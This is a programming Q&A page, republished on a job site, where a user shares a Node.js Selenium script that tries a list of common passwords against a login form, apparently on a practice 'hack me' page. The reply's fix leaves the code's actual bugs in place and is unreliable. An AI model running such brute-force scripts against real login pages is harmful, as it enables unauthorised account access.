Empresas
Empleos
  • Sobre nosotros
  • Soluciones
    • Publicación de vacantes
      Publica tu vacante y recibe candidatos calificados en 48h.
    • Evaluación de candidatos
      500+ pruebas técnicas y psicológicas, más anti-fraude.
    • Headhunting
      Búsqueda ejecutiva a la medida de principio a fin.
    • Nómina + EOR
      Dispersión de nómina y EOR en más de 15 países de LATAM.
  • Precios
  • Empleos

0

164
Vistas
Call function multiple time nodejs

I have following code, to insert passwords on a website.

require('chromedriver');
var webdriver = require('selenium-webdriver');
var driver = new webdriver.Builder()
    .forBrowser('chrome')
    .build();
driver.get('https://junusergin.github.io/hack-mich/login.html');
    
let dictionary = [123456, 123456789, 12345, "qwerty", "password", 12345678, 111111, 123123, 1234567890, 1234567, "qwerty123", "000000", "1q2w3e", "aa12345678", "abc123"];
    
function tryCombinations(combinations) {
    let index = 0;
    
    inputField = driver.findElement(webdriver.By.id('username'));
    driver.executeScript("arguments[0].setAttribute('value', 'test')", inputField);
        
    inputField = driver.findElement(webdriver.By.id('password'));
    driver.executeScript("arguments[0].setAttribute('value',  '" + combinations[index] +"')", inputField);
        
    driver.findElement(webdriver.By.className('button')).click();
    
    index++;
}

If I start the Script, it paste the first password in the browser. I want now to put in each password from the array.

For this my idea was something like this:

dictionary.forEach(element => tryCombinations(element));

Does someone know, why it does not work?

about 4 years ago · Juan Pablo Isaza
1 Respuestas
Responde la pregunta

0

replace the dictionary foreach with this

for (var i in dictionary) {
 tryCombinations(dictionary[i]);
}
about 4 years ago · Juan Pablo Isaza Denunciar
Responde la pregunta
Encuentra empleos remotos

¡Descubre la nueva forma de encontrar empleo!

Top de empleos
Top categorías de empleo
Empresas
Publicar vacante Precios Comercial
Legal
Términos y condiciones Política de privacidad
© 2026 PeakU Inc. All Rights Reserved.
Andres GPT
Recomiéndame algunas ofertas
Necesito ayuda